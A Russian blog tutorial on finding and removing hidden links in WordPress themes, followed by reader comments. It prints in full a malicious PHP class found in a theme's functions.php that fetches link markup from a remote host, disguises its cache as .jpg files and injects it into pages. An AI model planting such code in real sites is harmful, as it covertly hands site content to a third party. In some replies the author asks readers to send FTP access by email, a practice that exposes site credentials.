А вы проверяли свой шаблон темы на скрытые ссылки?

kak-naiti-i-ydalit-skrutue-ssulki-v-shablone-wordpress

Доброго времени суток, уважаемые читатели блога AzbukaBloga.ru. Сегодня мы будем с вами выступать в роли охотников за привидениями, а этими приведениями будут скрытые ссылки в шаблоне WordPress. Готовы поймать несколько приведений? Тогда, «нам снова вызов, на в путь опять…»


Как я и обещал в прошлой статье «Коллекция сайтов с шаблонами WordPress», сегодня мы займемся поиском и удалением скрытых ссылок в шаблоне.

Для того чтобы найти ссылки, нам нужно установить один плагин под названием Theme Authenticity Checker или сокращенно – TAC (О том , как правильно устанавливать плагины, я писал в этой статье).

Устанавливаем плагин по стандартной схеме.

Плагины – Добавить новый – Поиск – TAC – Установить – Активировать

После этого переходим на страницу плагина Theme Authenticity Checker (TAC), для этого в меню нажимаем «Внешний вид — TAC». Здесь вы можете видеть все установленные шаблоны, с небольшими превью.

Скрытые ссылки в шаблонах WordPressНапротив каждой из тем есть информационные сообщения, на которые стоит обратить внимание. Если рядом с темой расположен зеленый прямоугольник с надписью «Theme OK» – это значит, что плагин не нашел в шаблоне скрытых закодированных ссылок. У вас почти чистенький шаблончик.

Если, рядом с миниатюрой изображения вашей темы находятся следующие сообщения,

то это означает, что плагин TAC нашел скрытые и обычные ссылки в вашем шаблоне.  Для того чтобы узнать подробности, нажмите на кнопку Details,

Как видите, у нас в шаблоне есть одна закодированная ссылка и обычная html ссылка.

Для того, чтобы их удалить, воспользуемся бесплатным текстовым редактором notepad ++ и в нем откроем  файл — inc.php. Где он находится? Это вы можете посмотреть по подсказке, которую вывел плагин ( на скриншоте это показано стрелками).После того, как вы откроете inc.php идем в меню «Поиск»

и вводим base64

Удаляем весь код связанный с base64, я вообще рекомендую «затереть» всю 73 строчку. Для этого жмем на область с номером строчке и жмем «Дел» на клавиатуре. После этого сохраняем фаил.

Также, скорей всего нам и не нужен файл inc.php в теме. Он создан специально, чтобы в нем замаскировать закодированную ссылку и ЗАПУТАТЬ НАС, поэтому желательно найти строчку вызова данного php в файлах вашей темы и удалить ее.  Для поиска строки вызова я использую «Total Comander». Вот, что я делаю

Шаг 1. Запускаю тотал и перехожу в папку темы вордпресс, затем жму на кнопку «Команд-Поиск  файлов»

Шаг 2.  Активирую поле «С текстом» и ввожу нужный фрагмент текста, в нашем случае это inc.php и нажимаю «Начать поиск»

Шаг 3.  Затем, в результатах поиска смотрим, в каком именно файле темы находится наш фрагмент текста, в моем случае — это sidebar.php

Шаг 4. С помощью того же редактора notepad ++ открываем  sidebar.php. Затем  ищем фрагмент кода с inc.php и удаляем его. Сохраняем файл.

 

Шаг 5. Далее в редакторе открываем следующий файл темы, в котором содержится обычная ссылка, в нашем случае — это файл footer.php и удаляем ее. Для этого можете через поиск найти тот код ссылки, который показал плагин TAC и удалить его.

Шаг 6. Возвращаемся в админку блога, и обновляем страничку с плагина TAC. Теперь рядом с нашей темой будет «зеленый свет».

Вот таким образом друзья мы ПОЧТИ почистили шаблон от скрытых ссылок. Почему почти спросите вы? Да просто потому, что я сейчас покажу еще «рыбные места» где могут быть зарыты нехорошие ссылки.

А что там в function.php?

Следующим файлом в проверки служит именно файл настроек вашей темы, под названием  function.php, именно сюда стоит обратить взор в первую очередь. Так вот, что я нашел интересного здесь? Пролистав весь код до конца, обнаружил следующую конструкцию

<?php error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');

class Get_links { var $host = 'wpconfig.net';
var $path = '/system.php';
 var $_cache_lifetime = 21600;
 var $_socket_timeout = 5;

 function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
 $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
 $links_class = new Get_links();
 $host = $links_class->host;
 $path = $links_class->path;
 $_socket_timeout = $links_class->_socket_timeout;
 @ini_set('allow_url_fopen', 1);
 @ini_set('default_socket_timeout',   $_socket_timeout);
 @ini_set('user_agent', $_user_agent);
 if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) );
 $context = stream_context_create($opts);
 $data = @file_get_contents('http://' . $host . $path, false, $context);
 preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
 $data = @$data[2];
 return $data; } return '<!--link error-->'; }

 function return_links($lib_path) { $links_class = new Get_links();
 $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg';
 $_cache_lifetime = $links_class->_cache_lifetime;
 if (!file_exists($file)) { @touch($file, time());
 $data = $links_class->get_remote();
 file_put_contents($file, $data);
 return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time());
 $data = $links_class->get_remote();
 file_put_contents($file, $data); return $data; }
 else { $data = file_get_contents($file); return $data; } } } ?>

содержащую непонятный класс под названием class Get_links. Проанализировав весь код, я обнаружил, что в папке картинок wp-content/uploads/2013/ создаются  «картинки» с странными цифрами, к которым я не имею не кого отношения.

Поискав немного информации в сети, я наткнулся вот на этот сайт, где разбиралась подобная тема. Оказалось, что помимо вредного кода в файле  function.php, сами ссылки выводятся через конструкцию

&lt;?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links-&gt;return_links($lib_path); echo $links; ?&gt;

которая вставлена в файл вывода комментариев на блоге — comments.php

И действительно, открыв файл  comments.php, в самом низу я и обнаружил «нехороший код», который как вы догадались, я незамедлительно отправил во своя се, нажав волшебную кнопку «Del»

От сюда напрашивается главный вывод:

что не только скрытые ссылки, но и всевозможный вредоносный код может содержатся в шаблонах, которые скачиваются с бесчисленных сайтов с темами wordpress.

Поэтому друзья, устанавливайте только темы с официального хранилища тем wordpress или же, приобретайте  платные официальные темы. Это будет вам гарантией того, что не какой лишний мусор не затеряется в просторах  темы, и ваш любимый блог будет всегда на плаву.

На сегодня это все. Удачи вам, и до скорой встречи на azbukabloga.ru

А как вы боретесь со скрытыми ссылками???

Чтобы быть готовым к любым неприятным ситуациям на блоге, у вас всегда под рукой должна быть резервная копия сайта, вот как раз об этом читайте в моей новой статье. Не пропустите ее, подписывайтесь на обновления.

С уважением, Антон Лапшин
автор блога http://AzbukaBloga.ru

Приз за первый комментарий
 

Комментарии: 27

  1. 2013-03-24 в 10:33

    Привет, Антон! Что я хочу сказать о статье:
    1) Зачем удалять 73 строку в inc.php, если это комментарий?
    2) Не думаю, что стоит удалять файлы типа inc.php. Вполне возможно, что разработчики вставили не только вредный код, но и полезные и необходимые функции.

    Еще на счет покупки тем. Если Вам очень понравилась именно та бесплатная тема, то обычно данные ссылки шифруют, чтобы выводит сообщение, мол «пользуйтесь темой с ссылками или платите», получается ее можно будет купить без зашифрованных данных и ссылок.

    • Антон Лапшин :
      2013-03-24 в 14:37

      Все дело в том Кость, что в 73 строке содержится не только комментарий, а в сам ее конце , далеко-далеко в право стороне есть открытый код ( без комментария) вот он и выводится. Поэтому я и удалил все эту строчку ))))

      А за действительно хорошие темы и не жалко заплатить.

      • 2013-03-25 в 10:35

        А тогда надо было просто показать тот код на скрине, все было бы понятно:)

  2. 2013-03-30 в 14:59

    Проверил плагином.Все ок, только «1 Static Link(s) Found…» Нажимаю «Детали», ничего не происходит. Просканировал сканером хостинга, большинство «shell»,»brute» В категории:»Вставка рекламных кодов, sape и другие возможно чужеродные», обнаружил:
    1.($key = 0, $rel = ‘alternate’) { $links = $this->Get_Links($rel); if (isset($links[$key])) { return $
    2.XTENSION | SIMPLEPIE_LOCATOR_REMOTE_BODY) && $this->Get_Links()) { if ($type & SIMPLEPIE_LOCATOR_LOCAL_EXT
    Их надо удалять?

    • Антон Лапшин :
      2013-03-30 в 22:32

      Я бы удалил, так как и в 1 и в 2 идет запрос Get_Links, что не есть хорошо ((

  3. 2013-03-31 в 10:03

    А, вообще, для каждого разработчика таких вредных тем надо искать новое решение для удаления данных ссылок. Единственное, неизменным будет плагин TAC, для проверки на наличие зашифрованных данных

  4. 2013-03-31 в 18:24

    А я проверил только футор и мне хватает. Возможно когда будет развиваться блог еще проверю на скрытые ссылки…

    • Антон Лапшин :
      2013-03-31 в 18:53

      Да, в футоре всегда полно всякого мусора) но многие темы так напичканы ссылками, что просто жуть….

  5. 2013-03-31 в 19:27

    Любые ссылки в коде, можно удалять? В хэйдере есть такая строчка: 
    Я ее удалил только что, обновил, и ничего не произошло. Еще есть: Проверил эти сайты, работают, но не понятно какую роль они выполняют. Или они каким то образом поддерживают какие то функции на блоге. Как думаете?

  6. 2013-03-31 в 19:29

    Ссылки в качестве примера, не прошли защиту от спама наверное)

    • Антон Лапшин :
      2013-03-31 в 20:42

      Максим, каждые ссылки индивидуальны. Если ссылки в шапке, то скорей всего некоторые из них подключают дополнительные функции к блогу, например Джеквери. Надо смотреть, пришлите ссылки в текстовом виде мне на почту fynjyol@gmail.com Гляну на досуге)

  7. 2013-06-03 в 13:51

    Привет. Антон не подскажешь. У меня полно скрытых ссылок плагин не чего не находит. Вот пример ссылка моей страницы sovetysadovodam.ru/category/lekarstvennye-rasteniya на ней скрытая ссылка avtoslesar232.ru просто нажимаю посмотреть код страницы она там есть. А как ее найти не знаю весь редактор в админке перерыл все видимые ссылки удалил. А как эти найти? Заранее Спасибо

    • Антон Лапшин :
      2013-06-04 в 10:53

      Здравствуйте Алексей! Спасибо за комментарий. Сейчас посмотрел ваш блог, у вас скрытые ссылки в каждой категории. Нужно просматривать все файлы шаблона и function.php. Если хотите, скиньте мне на почту fynjyol@gmail.com данные для доступа по Ftp к вашему блогу и я постараюсь вам помочь. Самому интересно найти, где же они у вас сидят.

  8. 2013-07-02 в 14:24

    Спасибо Антон за статью, помогло.

    • Антон Лапшин :
      2013-07-02 в 16:35

      Рад, что помогло )

  9. 2013-07-30 в 19:12

    Добрый день Антон! Хочу поменять шаблон сайта, но в футере есть ссылки, плагином найти их не могу, а в footer их нету. Интересно где они могут быть спрятаны.

    • Антон Лапшин :
      2013-07-30 в 21:47

      Здравствуйте Дмитрий! А откуда вы знаете, что ссылки есть? Через исходный код показывается? Очень много мест, где могут быть спрятаны ссылки. Если хотите могу глянуть на досуге. Только нужен будет доступ к ФТП.

  10. 2013-08-23 в 16:09

    Добрый день, Антон. По вопросу, как я проверяю скрытые ссылки,- использую несколько сервисов. Покажу и сразу объясню свою проблему, возможно, сможете помочь? Шаблон из паблика, чистил вручную и плагином TAC.
    1. _http://e.megaindex.ru/analysis/ http://floomby.ru/s1/vYzUCC (Видно несколько скрытых зашифрованных ссылок, которые явно не мои и в простом поиске не обнаруживаются, base64 нет)
    2. _http://www.dinews.ru/ http://floomby.ru/s1/bYAuSy

    • Антон Лапшин :
      2013-08-30 в 22:16

      Ссылки могут сейчас в любом месте сидеть. Для более детального изучения и поиска ваших скрытых ссылок нужен доступ к шаблону. Можете заархивировать папку с шаблоном и скинуть мне на fynjyol@gmail.com. Постараюсь разобраться.

  11. 2013-10-13 в 11:21

    Антон, привет. Попробовал установить на своем сайте маленькую игру. Она мне и на фиг не нужна была — просто хотел понять, как это делается. В результате — появилась скрытая ссылка, которая прекрасно видна внизу каждой странички. С главной я её быстро убрал, а вот со страниц — не могу. Перерыл весь редактор. Плагин TAC не помогает. Да и хорошими знаниями, в этой области, я пока не обладаю. Может, что-нибудь посоветуешь?

  12. 2013-11-07 в 20:46

    А у меня 100% нет скрытых ссылок, так как у меня стандартный шаблон twentyten только пришлось хорошенько поработать над style.css

    Иногда попадались темы где подвал полностью зашифрован, код не исправить, а если полностью удалить, то диз становится жутко кривой и непонятно как исправить.

    За пост спасибо, не знал как искать не хорошие вещи в темах!!!

  13. 2013-11-15 в 23:55

    Спасибо большое, за такую полезную статью! Я нашла свои скрытые ссылки и теперь, надеюсь, мой сайт вернётся в индекс.

    • Антон Лапшин :
      2013-11-16 в 20:08

      Спасибо за комментарий Юлия! А давно ваш сайт под фильтром? Какой возраст у вашего сайта?

      • 2013-11-16 в 20:19

        Домену полтора года, но наполнять я его начала только этой весной. А разве мой сайт уже в бане? Я его проверяла, вроде бы не в бане, хотя я не знаю…
        А выпадать страницы из поиска начали после регистрации в каталогах и добавления на сайт файла robot.txt (я это сделала практически в одно время) где-то месяц-полтора назад

        • Антон Лапшин :
          2013-11-16 в 21:01

          Я сейчас посмотрел, у вас по ЯНдексу только одна главная страница в поиске а остальных статей нет, хотя должны и быть.((

  14. 2013-12-16 в 20:09

    Добрый день. А у меня такая ситуация — на сайте висит ссылка на казино, причём ни плагин TAC, ни ресурсы по анализу сайта и внешних ссылок её не видят, в DOM её тоже не видно. Обнаружить её можно только в сниппете гугла, если в строку поиска ввести полный урл сайта, в других поисковиках её также не видно. С одной стороны, скорее всего, данная ссылка на сайт не должна действовать негативно (хотя мб я и ошибаюсь), а с другой стороны любопытно хотя бы то, где она находится в шаблоне.

    • Антон Лапшин :
      2013-12-17 в 22:39

      Здравствуйте! Если вы сами не можете найти, то обычно ссылка скрывается в файле function.php вашей темы. Но и не совсем в виде ссылки а в мде зашифрованного кода. Если хотите, скиньте данный файл мне на почту fynjyol@gmail.com.

Добавить комментарий

На вверх